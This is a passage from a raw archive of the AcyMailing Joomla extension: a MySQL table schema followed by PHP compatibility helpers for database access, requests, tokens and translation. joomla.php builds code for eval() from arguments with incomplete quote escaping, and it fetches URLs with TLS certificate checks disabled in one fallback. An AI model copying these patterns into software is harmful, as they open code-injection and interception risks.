) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_queue` (
	`senddate` int unsigned NOT NULL,
	`subid` int unsigned NOT NULL,
	`mailid` mediumint unsigned NOT NULL,
	`priority` tinyint unsigned DEFAULT '3',
	`try` tinyint unsigned NOT NULL DEFAULT '0',
	`paramqueue` varchar(250) DEFAULT NULL,
	PRIMARY KEY (`subid`,`mailid`),
	KEY `listingindex` (`senddate`,`subid`),
	KEY `mailidindex` (`mailid`),
	KEY `orderingindex` (`priority`,`senddate`,`subid`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_rules` (
	`ruleid` smallint unsigned NOT NULL AUTO_INCREMENT,
	`name` varchar(250) NOT NULL,
	`ordering` smallint DEFAULT NULL,
	`regex` text NOT NULL,
	`executed_on` text NOT NULL,
	`action_message` text NOT NULL,
	`action_user` text NOT NULL,
	`published` tinyint unsigned NOT NULL,
	PRIMARY KEY (`ruleid`),
	KEY `ordering` (`published`,`ordering`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_stats` (
	`mailid` mediumint unsigned NOT NULL,
	`senthtml` int unsigned NOT NULL DEFAULT '0',
	`senttext` int unsigned NOT NULL DEFAULT '0',
	`senddate` int unsigned NOT NULL,
	`openunique` mediumint unsigned NOT NULL DEFAULT '0',
	`opentotal` int unsigned NOT NULL DEFAULT '0',
	`bounceunique` mediumint unsigned NOT NULL DEFAULT '0',
	`fail` mediumint unsigned NOT NULL DEFAULT '0',
	`clicktotal` int unsigned NOT NULL DEFAULT '0',
	`clickunique` mediumint unsigned NOT NULL DEFAULT '0',
	`unsub` mediumint unsigned NOT NULL DEFAULT '0',
	`forward` mediumint unsigned NOT NULL DEFAULT '0',
	`bouncedetails` text,
	PRIMARY KEY (`mailid`),
	KEY `senddateindex` (`senddate`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_subscriber` (
	`subid` int unsigned NOT NULL AUTO_INCREMENT,
	`email` varchar(200) NOT NULL,
	`userid` int unsigned NOT NULL DEFAULT '0',
	`name` varchar(250) NOT NULL DEFAULT '',
	`created` int unsigned DEFAULT NULL,
	`confirmed` tinyint NOT NULL DEFAULT '0',
	`enabled` tinyint NOT NULL DEFAULT '1',
	`accept` tinyint NOT NULL DEFAULT '1',
	`ip` varchar(100) DEFAULT NULL,
	`html` tinyint NOT NULL DEFAULT '1',
	`key` varchar(250) DEFAULT NULL,
	`confirmed_date` int unsigned NOT NULL DEFAULT '0',
	`confirmed_ip` varchar(100) DEFAULT NULL,
	`lastopen_date` int unsigned NOT NULL DEFAULT '0',
	`lastopen_ip` varchar(100) DEFAULT NULL,
	`lastclick_date` int unsigned NOT NULL DEFAULT '0',
	`lastsent_date` int unsigned NOT NULL DEFAULT '0',
	`source` varchar(250) NOT NULL DEFAULT '',
	`filterflags` varchar(50) NOT NULL DEFAULT '',
	PRIMARY KEY (`subid`),
	UNIQUE KEY `email` (`email`),
	KEY `userid` (`userid`),
	KEY `queueindex` (`enabled`,`accept`,`confirmed`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_template` (
	`tempid` smallint unsigned NOT NULL AUTO_INCREMENT,
	`name` varchar(250) DEFAULT NULL,
	`description` text,
	`body` longtext,
	`altbody` longtext,
	`header` longtext,
	`created` int unsigned DEFAULT NULL,
	`published` tinyint NOT NULL DEFAULT '1',
	`premium` tinyint NOT NULL DEFAULT '0',
	`ordering` smallint unsigned NULL DEFAULT '0',
	`namekey` varchar(50) NOT NULL,
	`styles` text,
	`subject` varchar(250) DEFAULT NULL,
	`stylesheet` text,
	`fromname` varchar(250) DEFAULT NULL,
	`fromemail` varchar(250) DEFAULT NULL,
	`replyname` varchar(250) DEFAULT NULL,
	`replyemail` varchar(250) DEFAULT NULL,
	`thumb` varchar(250) DEFAULT NULL,
	`readmore` varchar(250) DEFAULT NULL,
	`access` varchar(250) NOT NULL DEFAULT 'all',
	`category` varchar(250) NOT NULL DEFAULT '',
	PRIMARY KEY (`tempid`),
	UNIQUE KEY `namekey` (`namekey`),
	KEY `orderingindex` (`ordering`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_url` (
	`urlid` int unsigned NOT NULL AUTO_INCREMENT,
	`name` varchar(250) NOT NULL,
	`url` text NOT NULL,
	PRIMARY KEY (`urlid`),
	KEY `url` (`url`(250))
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_urlclick` (
	`urlid` int unsigned NOT NULL,
	`mailid` mediumint unsigned NOT NULL,
	`click` smallint unsigned NOT NULL DEFAULT '0',
	`subid` int unsigned NOT NULL,
	`date` int unsigned NOT NULL,
	`ip` varchar(100) DEFAULT NULL,
	PRIMARY KEY (`urlid`,`mailid`,`subid`),
	KEY `dateindex` (`date`),
	KEY `mailidindex` (`mailid`),
	KEY `subidindex` (`subid`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_userstats` (
	`mailid` mediumint unsigned NOT NULL,
	`subid` int unsigned NOT NULL,
	`html` tinyint unsigned NOT NULL DEFAULT '1',
	`sent` tinyint unsigned NOT NULL DEFAULT '1',
	`senddate` int unsigned NOT NULL,
	`open` tinyint unsigned NOT NULL DEFAULT '0',
	`opendate` int NOT NULL,
	`bounce` tinyint NOT NULL DEFAULT '0',
	`fail` tinyint NOT NULL DEFAULT '0',
	`ip` varchar(100) DEFAULT NULL,
	`browser` varchar(255) DEFAULT NULL,
	`browser_version` tinyint unsigned DEFAULT NULL,
	`is_mobile` tinyint unsigned DEFAULT NULL,
	`mobile_os` varchar(255) DEFAULT NULL,
	`user_agent` varchar(255) DEFAULT NULL,
	`bouncerule` varchar(255) DEFAULT NULL,
	PRIMARY KEY (`mailid`,`subid`),
	KEY `senddateindex` (`senddate`),
	KEY `subidindex` (`subid`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_geolocation` (
	`geolocation_id` int unsigned NOT NULL AUTO_INCREMENT,
	`geolocation_subid` int unsigned NOT NULL DEFAULT '0',
	`geolocation_type` varchar(255) NOT NULL DEFAULT 'subscription',
	`geolocation_ip` varchar(255) NOT NULL DEFAULT '',
	`geolocation_created` int unsigned NOT NULL DEFAULT '0',
	`geolocation_latitude` decimal(9,6) NOT NULL DEFAULT '0.000000',
	`geolocation_longitude` decimal(9,6) NOT NULL DEFAULT '0.000000',
	`geolocation_postal_code` varchar(255) NOT NULL DEFAULT '',
	`geolocation_country` varchar(255) NOT NULL DEFAULT '',
	`geolocation_country_code` varchar(255) NOT NULL DEFAULT '',
	`geolocation_state` varchar(255) NOT NULL DEFAULT '',
	`geolocation_state_code` varchar(255) NOT NULL DEFAULT '',
	`geolocation_city` varchar(255) NOT NULL DEFAULT '',
	`geolocation_continent` varchar(255) NOT NULL DEFAULT '',
	`geolocation_timezone` varchar(255) NOT NULL DEFAULT '',
	PRIMARY KEY (`geolocation_id`),
	KEY `geolocation_type` (`geolocation_subid`, `geolocation_type`),
	KEY `geolocation_ip_created` (`geolocation_ip`, `geolocation_created`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_action` (
	`action_id` int unsigned NOT NULL AUTO_INCREMENT,
	`name` varchar(255) DEFAULT NULL,
	`frequency` int unsigned NOT NULL,
	`nextdate` int unsigned NOT NULL,
	`description` text,
	`server` varchar(255) NOT NULL,
	`port` varchar(50) NOT NULL,
	`connection_method` varchar(10) NOT NULL DEFAULT '0',
	`secure_method` varchar(10) NOT NULL DEFAULT '0',
	`self_signed` tinyint NOT NULL DEFAULT '0',
	`username` varchar(255) NOT NULL,
	`password` varchar(50) NOT NULL,
	`userid` int unsigned DEFAULT NULL,
	`conditions` text,
	`actions` text,
	`report` text,
	`delete_wrong_emails` tinyint NOT NULL DEFAULT 0,
	`senderfrom` tinyint NOT NULL DEFAULT 0,
	`senderto` tinyint NOT NULL DEFAULT 0,
	`published` tinyint NOT NULL DEFAULT '0',
	`ordering` smallint unsigned NULL DEFAULT '0',
	PRIMARY KEY (`action_id`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_forward` (
	`subid` int unsigned NOT NULL,
	`mailid` mediumint unsigned NOT NULL,
	`date` int unsigned NOT NULL,
	`ip` varchar(50) DEFAULT NULL,
	`nbforwarded` int unsigned NOT NULL,
	PRIMARY KEY (`subid`,`mailid`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_tag` (
	`tagid` smallint unsigned NOT NULL AUTO_INCREMENT,
	`name` varchar(250) NOT NULL,
	`userid` int unsigned DEFAULT NULL,
	PRIMARY KEY (`tagid`),
	KEY `useridindex` (`userid`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;

CREATE TABLE IF NOT EXISTS `#__acymailing_tagmail` (
	`tagid` smallint unsigned NOT NULL,
	`mailid` mediumint unsigned NOT NULL,
	PRIMARY KEY (`tagid`,`mailid`)
) /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci*/;com_acymailing/compat/compat1.php000060400000001746152455305300013065 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.7.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
jimport( 'joomla.html.parameter' );

class acymailingView extends JView{

}

class acymailingControllerCompat extends JController{

}

function acymailing_loadResultArray(&$db){
	return $db->loadResultArray();
}

function acymailing_loadMootools($loadMootoolsMoreLib = false){
	JHTML::_('behavior.mootools');
}

function acymailing_getColumns($table){
	$db = JFactory::getDBO();
	$allfields = $db->getTableFields($table);
	return reset($allfields);
}

function acymailing_getEscaped($value, $extra = false) {
	$db = JFactory::getDBO();
	return $db->getEscaped($value, $extra);
}

function acymailing_getFormToken() {
	return JUtility::getToken();
}

if(!class_exists('acyParameter')){
	class acyParameter extends JParameter{}
}
com_acymailing/compat/index.html000060400000000054152455305300012774 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/compat/joomla.php000060400000065742152455305300013010 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

define('ACYMAILING_CMS', 'Joomla!®');
define('ACYMAILING_COMPONENT', 'com_acymailing');
define('ACYMAILING_DEFAULT_LANGUAGE', 'en-GB');

define('ACYMAILING_BASE', rtrim(JPATH_BASE, DS).DS);
define('ACYMAILING_ROOT', rtrim(JPATH_ROOT, DS).DS);
define('ACYMAILING_FRONT', rtrim(JPATH_SITE, DS).DS.'components'.DS.ACYMAILING_COMPONENT.DS);
define('ACYMAILING_BACK', rtrim(JPATH_ADMINISTRATOR, DS).DS.'components'.DS.ACYMAILING_COMPONENT.DS);
define('ACYMAILING_HELPER', ACYMAILING_BACK.'helpers'.DS);
define('ACYMAILING_CLASS', ACYMAILING_BACK.'classes'.DS);
define('ACYMAILING_TYPE', ACYMAILING_BACK.'types'.DS);
define('ACYMAILING_CONTROLLER', ACYMAILING_BACK.'controllers'.DS);
define('ACYMAILING_CONTROLLER_FRONT', ACYMAILING_FRONT.'controllers'.DS);
define('ACYMAILING_MEDIA', ACYMAILING_ROOT.'media'.DS.ACYMAILING_COMPONENT.DS);
define('ACYMAILING_TEMPLATE', ACYMAILING_MEDIA.'templates'.DS);
define('ACYMAILING_LANGUAGE', ACYMAILING_ROOT.'language'.DS);
define('ACYMAILING_INC', ACYMAILING_FRONT.'inc'.DS);

define('ACYMAILING_MEDIA_URL', acymailing_rootURI().'/media/'.ACYMAILING_COMPONENT.'/');
define('ACYMAILING_IMAGES', ACYMAILING_MEDIA_URL.'images/');
define('ACYMAILING_CSS', ACYMAILING_MEDIA_URL.'css/');
define('ACYMAILING_JS', ACYMAILING_MEDIA_URL.'js/');

define('ACYMAILING_MEDIA_FOLDER', 'media/com_acymailing');

$jversion = preg_replace('#[^0-9\.]#i', '', JVERSION);
define('ACYMAILING_J16', version_compare($jversion, '1.6.0', '>='));
define('ACYMAILING_J25', version_compare($jversion, '2.5.0', '>='));
define('ACYMAILING_J30', version_compare($jversion, '3.0.0', '>='));
define('ACYMAILING_J40', version_compare($jversion, '4.0.0', '>='));

define('ACY_ALLOWRAW', defined('JREQUEST_ALLOWRAW') ? JREQUEST_ALLOWRAW : 2);
define('ACY_ALLOWHTML', defined('JREQUEST_ALLOWHTML') ? JREQUEST_ALLOWHTML : 4);

function acymailing_loadEditor(){
    include_once(rtrim(dirname(__DIR__), DS).DS.'compat'.DS.'joomla.editor.php');
}

function acymailing_getTime($date){
    static $timeoffset = null;
    if($timeoffset === null){
        $timeoffset = acymailing_getCMSConfig('offset');

        if(ACYMAILING_J16){
            $dateC = JFactory::getDate($date, $timeoffset);
            $timeoffset = $dateC->getOffsetFromGMT(true);
        }
    }

    return strtotime($date) - $timeoffset * 60 * 60 + date('Z');
}

function acymailing_fileGetContent($url, $timeout = 10){
    ob_start();
    $data = '';
    if(class_exists('JHttpFactory') && method_exists('JHttpFactory', 'getHttp')) {
        $http = JHttpFactory::getHttp();
        try {
            $response = $http->get($url, array(), $timeout);
        } catch (RuntimeException $e) {
            $response = null;
        }

        if ($response !== null && $response->code === 200) $data = $response->body;
    }

    if(empty($data) && function_exists('curl_exec') && filter_var($url, FILTER_VALIDATE_URL)){
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, true);
        curl_setopt($conn, CURLOPT_FRESH_CONNECT, true);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        if(!empty($timeout)){
            curl_setopt($conn, CURLOPT_TIMEOUT, $timeout);
            curl_setopt($conn, CURLOPT_CONNECTTIMEOUT, $timeout);
        }

        $data = curl_exec($conn);
        if($data === false) echo curl_error($conn);
        curl_close($conn);
    }

    if(empty($data) && function_exists('file_get_contents')){
        if(!empty($timeout)){
            ini_set('default_socket_timeout', $timeout);
        }
        $streamContext = stream_context_create(array('ssl' => array('verify_peer' => false, 'verify_peer_name' => false)));
        $data = file_get_contents($url, false, $streamContext);
    }

    if(empty($data) && function_exists('fopen') && function_exists('stream_get_contents')){
        $handle = fopen($url, "r");
        if(!empty($timeout)){
            stream_set_timeout($handle, $timeout);
        }
        $data = stream_get_contents($handle);
    }
    $warnings = ob_get_clean();

    if(acymailing_isDebug()) echo $warnings;

    return $data;
}

function acymailing_formToken(){
    return JHTML::_('form.token');
}

function acymailing_checkToken(){
    if(ACYMAILING_J40){
        \JSession::checkToken() or die('Invalid Token');;
    }else{
        if(!JRequest::checkToken() && !JRequest::checkToken('get')){
            if(!ACYMAILING_J16) die('Invalid Token');
            JSession::checkToken() || JSession::checkToken('get') || die('Invalid Token');
        }
    }
}

function acymailing_getFormToken() {
    if(ACYMAILING_J30) return JSession::getFormToken().'=1';
    return JUtility::getToken().'=1';
}

function acymailing_translation($key, $jsSafe = false, $interpretBackSlashes = true){
    return JText::_($key, $jsSafe, $interpretBackSlashes);
}

function acymailing_translation_sprintf(){
    $args = func_get_args();
    $return = "return JText::sprintf('".array_shift($args)."'";
    foreach($args as $oneArg){
        $return .= ",'".str_replace("'", "\\'", $oneArg)."'";
    }
    $return .= ');';
    return eval($return);
}

function acymailing_route($url, $xhtml = true, $ssl = null){
    return JRoute::_($url, $xhtml, $ssl);
}

function acymailing_getVar($type, $name, $default = null, $hash = 'default', $mask = 0){
    if(ACYMAILING_J40){
        if($mask & ACY_ALLOWRAW) $type = 'RAW';
        elseif($mask & ACY_ALLOWHTML) $type = 'HTML';

        return JFactory::getApplication()->input->get($name, $default, $type);
    }
    return JRequest::getVar($name, $default, $hash, $type, $mask);
}

function acymailing_setVar($name, $value = null, $hash = 'method', $overwrite = true){
    if(ACYMAILING_J40) return JFactory::getApplication()->input->set($name, $value);
    return JRequest::setVar($name, $value, $hash, $overwrite);
}

function acymailing_raiseError($level, $code, $msg, $info = null){
    return JError::raise($level, $code, $msg, $info);
}

function acymailing_getGroupsByUser($userid = null, $recursive = null){
    if(ACYMAILING_J16){
        if($userid === null){
            $userid = acymailing_currentUserId();
            $recursive = true;
        }

        jimport('joomla.access.access');
        return JAccess::getGroupsByUser($userid, $recursive);
    }

    $my = JFactory::getUser($userid);
    return array($my->gid);
}

function acymailing_getGroups(){
    $groups = acymailing_loadObjectList('SELECT a.*, a.title as text, a.id as value, COUNT(ugm.user_id) AS nbusers FROM #__usergroups AS a LEFT JOIN #__user_usergroup_map ugm ON a.id = ugm.group_id GROUP BY a.id', 'id');
    return $groups;
}

function acymailing_getLanguages($installed = false){
    $result = array();

    $path = acymailing_getLanguagePath(ACYMAILING_ROOT);
    $dirs = acymailing_getFolders($path);

    $languages = acymailing_loadObjectList('SELECT * FROM #__languages', 'lang_code');

    foreach($dirs as $dir){
        if(strlen($dir) != 5 || $dir == "xx-XX") continue;
        if($installed && (empty($languages[$dir]) || $languages[$dir]->published != 1)) continue;

        $xmlFiles = acymailing_getFiles($path.DS.$dir, '^([-_A-Za-z]*)\.xml$');
        $xmlFile = reset($xmlFiles);
        if(empty($xmlFile)){
            $data = array();
        }else{
            if(ACYMAILING_J40){
                $data = \JInstaller::parseXMLInstallFile(ACYMAILING_LANGUAGE.$dir.DS.$xmlFile);
            }else{
                $data = JApplicationHelper::parseXMLLangMetaFile(ACYMAILING_LANGUAGE.$dir.DS.$xmlFile);
            }
        }

        $lang = new stdClass();
        $lang->sef = empty($languages[$dir]) ? null : $languages[$dir]->sef;
        $lang->language = strtolower($dir);
        $lang->name = empty($data['name']) ? (empty($languages[$dir]) ? $dir : $languages[$dir]->title_native) : $data['name'];
        $lang->exists = file_exists(ACYMAILING_LANGUAGE.$dir.DS.$dir.'.com_acymailing.ini');
        $lang->content = empty($languages[$dir]) ? false : $languages[$dir]->published == 1;

        $result[$dir] = $lang;
    }

    return $result;
}

function acymailing_languageFolder($code){
    return ACYMAILING_LANGUAGE.$code.DS;
}

function acymailing_cleanSlug($slug){
    $method = acymailing_getCMSConfig('unicodeslugs', 0) == 1 ? 'stringURLUnicodeSlug' : 'stringURLSafe';
    return JFilterOutput::$method(trim($slug));
}

function acymailing_punycode($email, $method = 'emailToPunycode'){
    if(empty($email) || version_compare(JVERSION, '3.1.2', '<')) return $email;
    $email = JStringPunycode::$method($email);
    return $email;
}

function acymailing_extractArchive($archive, $destination){
    return JArchive::extract($archive, $destination);
}

function acymailing_selectOption($value, $text = '', $optKey = 'value', $optText = 'text', $disable = false){
    return JHTML::_('select.option', $value, $text, $optKey, $optText, $disable);
}

function acymailing_gridID($rowNum, $recId, $checkedOut = false, $name = 'cid', $stub = 'cb'){
    return JHTML::_('grid.id', $rowNum, $recId, $checkedOut, $name, $stub);
}

function acymailing_select($data, $name, $attribs = null, $optKey = 'value', $optText = 'text', $selected = null, $idtag = false, $translate = false){
    return JHTML::_('select.genericlist', $data, $name, $attribs, $optKey, $optText, $selected, $idtag, $translate);
}

function acymailing_radio($data, $name, $attribs = null, $optKey = 'value', $optText = 'text', $selected = null, $idtag = false, $translate = false, $vertical = false){
    $element = class_exists('JHtmlAcyselect') ? 'acyselect' : 'select';
    return JHTML::_($element.'.radiolist', $data, $name, $attribs, $optKey, $optText, $selected, $idtag, $translate, $vertical);
}

function acymailing_calendar($value, $name, $id, $format = '%Y-%m-%d', $attribs = null){
    return JHTML::_('calendar', $value, $name, $id, $format, $attribs);
}

function acymailing_date($input = 'now', $format = null, $tz = true, $gregorian = false){
    return JHTML::_('date', $input, $format, $tz, $gregorian);
}

function acymailing_boolean($name, $attribs = null, $selected = null, $yes = 'JOOMEXT_YES', $no = 'JOOMEXT_NO', $id = false){
    $element = class_exists('JHtmlAcyselect') ? 'acyselect' : 'select';
    return JHTML::_($element.'.booleanlist', $name, $attribs, $selected, $yes, $no, $id);
}

function acymailing_addScript($raw, $script, $type = "text/javascript", $defer = false, $async = false){
    $acyDocument = acymailing_getGlobal('doc');

    if($raw){
        $acyDocument->addScriptDeclaration($script, $type);
    }else{
        $acyDocument->addScript($script, $type, $defer, $async);
    }
}

function acymailing_addStyle($raw, $style, $type = 'text/css', $media = null, $attribs = array()){
    $acyDocument = acymailing_getGlobal('doc');

    if($raw){
        $acyDocument->addStyleDeclaration($style, $type);
    }else{
        $acyDocument->addStyleSheet($style, $type, $media, $attribs);
    }
}

function acymailing_addMetadata($meta, $data, $name = 'name'){
    $acyDocument = acymailing_getGlobal('doc');

    $acyDocument->setMetaData($meta, $data, $name);
}

function acymailing_trigger($method, $args = array()){
    if(ACYMAILING_J40) return \JFactory::getApplication()->triggerEvent($method, $args);

    global $acydispatcher;
    if($acydispatcher === null){
        $acydispatcher = JDispatcher::getInstance();
    }
    return @$acydispatcher->trigger($method, $args);
}

function acymailing_isAdmin(){
    $acyapp = acymailing_getGlobal('app');

    return $acyapp->isAdmin();
}

function acymailing_getUserVar($key, $request, $default = null, $type = 'none'){
    $acyapp = acymailing_getGlobal('app');

    return $acyapp->getUserStateFromRequest($key, $request, $default, $type);
}

function acymailing_getCMSConfig($varname, $default = null){
    if(ACYMAILING_J30) {
        $acyapp = acymailing_getGlobal('app');
        $result = $acyapp->getCfg($varname, $default);
    }else{
        $conf = JFactory::getConfig();
        $val = $conf->getValue('config.'.$varname);

        $result = empty($val) ? $default : $val;
    }

    if ($varname == 'list_limit') {
        $possibilities = array(5, 10, 15, 20, 25, 30, 50, 100);
        $closest = 5;
        foreach ($possibilities as $possibility) {
            if (abs($result - $closest) > abs($result - $possibility)) {
                $closest = $possibility;
            }
        }
        $result = $closest;
    }

    return $result;
}

function acymailing_redirect($url, $msg = '', $msgType = 'message'){
    $acyapp = acymailing_getGlobal('app');

    return $acyapp->redirect($url, $msg, $msgType);
}

function acymailing_getLanguageTag(){
    $acylanguage = JFactory::getLanguage();

    return $acylanguage->getTag();
}

function acymailing_getLanguageLocale(){
    $acylanguage = JFactory::getLanguage();

    return $acylanguage->getLocale();
}

function acymailing_setLanguage($lang){
    $acylanguage = JFactory::getLanguage();

    $acylanguage->setLanguage($lang);
}

function acymailing_baseURI($pathonly = false){
    return JURI::base($pathonly);
}

function acymailing_rootURI($pathonly = false, $path = null){
    return JURI::root($pathonly, $path);
}

function acymailing_generatePassword($length = 8){
    return JUserHelper::genrandompassword($length);
}

function acymailing_currentUserId(){
    $acymy = JFactory::getUser();

    return $acymy->id;
}

function acymailing_currentUserName($userid = null){
    if(!empty($userid)){
        $special = JFactory::getUser($userid);
        return $special->name;
    }

    $acymy = JFactory::getUser();

    return $acymy->name;
}

function acymailing_currentUserEmail($userid = null){
    if(!empty($userid)){
        $special = JFactory::getUser($userid);
        return $special->email;
    }

    $acymy = JFactory::getUser();

    return $acymy->email;
}

function acymailing_authorised($action, $assetname = null){
    $acymy = JFactory::getUser();

    return $acymy->authorise($action, $assetname);
}

function acymailing_loadLanguageFile($extension = 'joomla', $basePath = JPATH_SITE, $lang = null, $reload = false, $default = true){
    $acylanguage = JFactory::getLanguage();

    $acylanguage->load($extension, $basePath, $lang, $reload, $default);
}

function acymailing_getGlobal($type){
    $variables = array(
        'db' => array('acydb', 'getDBO'),
        'doc' => array('acyDocument', 'getDocument'),
        'app' => array('acyapp', 'getApplication')
    );

    global ${$variables[$type][0]};
    if(${$variables[$type][0]} === null){
        $method = $variables[$type][1];
        ${$variables[$type][0]} = JFactory::$method();
    }
    return ${$variables[$type][0]};
}

function acymailing_escapeDB($value){
    $acydb = acymailing_getGlobal('db');

    return $acydb->quote($value);
}

function acymailing_query($query){
    $acydb = acymailing_getGlobal('db');
    $acydb->setQuery($query);

    $method = ACYMAILING_J40 ? 'execute' : 'query';

    $result = $acydb->$method();
    if(!$result) return false;
    return $acydb->getAffectedRows();
}

function acymailing_loadObjectList($query, $key = '', $offset = null, $limit = null){
    $acydb = acymailing_getGlobal('db');

    $acydb->setQuery($query, $offset, $limit);
    return $acydb->loadObjectList($key);
}

function acymailing_loadObject($query){
    $acydb = acymailing_getGlobal('db');

    $acydb->setQuery($query);
    return $acydb->loadObject();
}

function acymailing_loadResult($query){
    $acydb = acymailing_getGlobal('db');

    $acydb->setQuery($query);
    return $acydb->loadResult();
}

function acymailing_loadResultArray($query){
    if(is_string($query)){
        $acydb = acymailing_getGlobal('db');
        $acydb->setQuery($query);
    }else{
        $acydb = $query;
    }

    if(ACYMAILING_J30) return $acydb->loadColumn();
    return $acydb->loadResultArray();
}

function acymailing_getEscaped($value, $extra = false) {
    $acydb = acymailing_getGlobal('db');

    if(ACYMAILING_J30) return $acydb->escape($value, $extra);
    return $acydb->getEscaped($value, $extra);
}

function acymailing_getDBError(){
    $acydb = acymailing_getGlobal('db');

    return $acydb->getErrorMsg();
}

function acymailing_insertObject($table, $element){
    $acydb = acymailing_getGlobal('db');
    $acydb->insertObject($table, $element);

    return $acydb->insertid();
}

function acymailing_insertID(){
    $acydb = acymailing_getGlobal('db');
    return $acydb->insertid();
}

function acymailing_updateObject($table, $element, $pkey){
    $acydb = acymailing_getGlobal('db');
    return $acydb->updateObject($table, $element, $pkey);
}

function acymailing_getColumns($table){
    $acydb = acymailing_getGlobal('db');
    
    if(ACYMAILING_J30) return $acydb->getTableColumns($table);
    $allfields = $acydb->getTableFields($table);
    return reset($allfields);
}

function acymailing_getPrefix(){
    $acydb = acymailing_getGlobal('db');
    return $acydb->getPrefix();
}

function acymailing_getTableList(){
    $acydb = acymailing_getGlobal('db');
    return $acydb->getTableList();
}

function acymailing_completeLink($link, $popup = false, $redirect = false){
    if($popup || acymailing_isNoTemplate()) $link .= '&'.acymailing_noTemplate();
    return acymailing_route('index.php?option='.ACYMAILING_COMPONENT.'&ctrl='.$link, !$redirect);
}

function acymailing_noTemplate(){
    return 'tmpl=component';
}

function acymailing_isNoTemplate(){
    return acymailing_getVar('cmd', 'tmpl') == 'component';
}

function acymailing_setNoTemplate($status = true){
    if($status) acymailing_setVar('tmpl', 'component');
    else acymailing_setVar('tmpl', '');
}

function acymailing_cmsLoaded(){
    defined('_JEXEC') or die('Restricted access');
}

function acymailing_formOptions($order = null, $task = ''){
    echo '<input type="hidden" name="option" value="'.ACYMAILING_COMPONENT.'"/>';
    echo '<input type="hidden" name="task" value="'.$task.'"/>';
    echo '<input type="hidden" name="ctrl" value="'.acymailing_getVar('cmd', 'ctrl', '').'"/>';
    if($order) {
        echo '<input type="hidden" name="boxchecked" value="0"/>';
        echo '<input type="hidden" name="filter_order" value="'.$order->value.'"/>';
        echo '<input type="hidden" name="filter_order_Dir" value="'.$order->dir.'"/>';
    }
    echo acymailing_formToken();
}

function acymailing_enqueueMessage($message, $type = 'success'){
    $result = is_array($message) ? implode('<br/>', $message) : $message;

    if(acymailing_isAdmin()){
        if(ACYMAILING_J30){
            $type = str_replace(array('notice', 'message'), array('info', 'success'), $type);
        }else{
            $type = str_replace(array('message', 'notice', 'warning'), array('info', 'warning', 'error'), $type);
        }
    }else{
        if(ACYMAILING_J30){
            $type = str_replace(array('success', 'info'), array('message', 'notice'), $type);
        }else{
            $type = str_replace(array('success', 'error', 'warning', 'info'), array('message', 'warning', 'notice', 'message'), $type);
        }
    }

    $acyapp = acymailing_getGlobal('app');

    $acyapp->enqueueMessage($result, $type);
}

function acymailing_displayMessages(){
    $acyapp = acymailing_getGlobal('app');
    $messages = $acyapp->getMessageQueue(true);
    if(empty($messages)) return;

    $sorted = array();
    foreach ($messages as $oneMessage) {
        $sorted[$oneMessage['type']][] = $oneMessage['message'];
    }

    foreach ($sorted as $type => $message) {
        acymailing_display($message, $type);
    }
}

function acymailing_editCMSUser($userid){
    return acymailing_route('index.php?option=com_users&view=user&layout=edit&id='.$userid);
}

function acymailing_prepareAjaxURL($url){
    return htmlspecialchars_decode(acymailing_completeLink($url, true));
}

function acymailing_cmsACL(){
    if(!ACYMAILING_J16 || !acymailing_authorised('core.admin', 'com_acymailing')) return '';

    $return = urlencode(base64_encode((string)JUri::getInstance()));
    return '<div class="onelineblockoptions">
        <span class="acyblocktitle">'.acymailing_translation('ACY_JOOMLA_PERMISSIONS').'</span>
        <a class="acymailing_button_grey" style="color:#666;" target="_blank" href="index.php?option=com_config&view=component&component=com_acymailing&path=&return='.$return.'">'.acymailing_translation('JTOOLBAR_OPTIONS').'</a><br/>
    </div>';
}

function acymailing_isDebug(){
    return defined('JDEBUG') && JDEBUG;
}

function acymailing_setPageTitle($title){
    if(empty($title)){
        $title = acymailing_getCMSConfig('sitename');
    }elseif(acymailing_getCMSConfig('sitename_pagetitles', 0) == 1){
        $title = acymailing_translation_sprintf('ACY_JPAGETITLE', acymailing_getCMSConfig('sitename'), $title);
    }elseif(acymailing_getCMSConfig('sitename_pagetitles', 0) == 2){
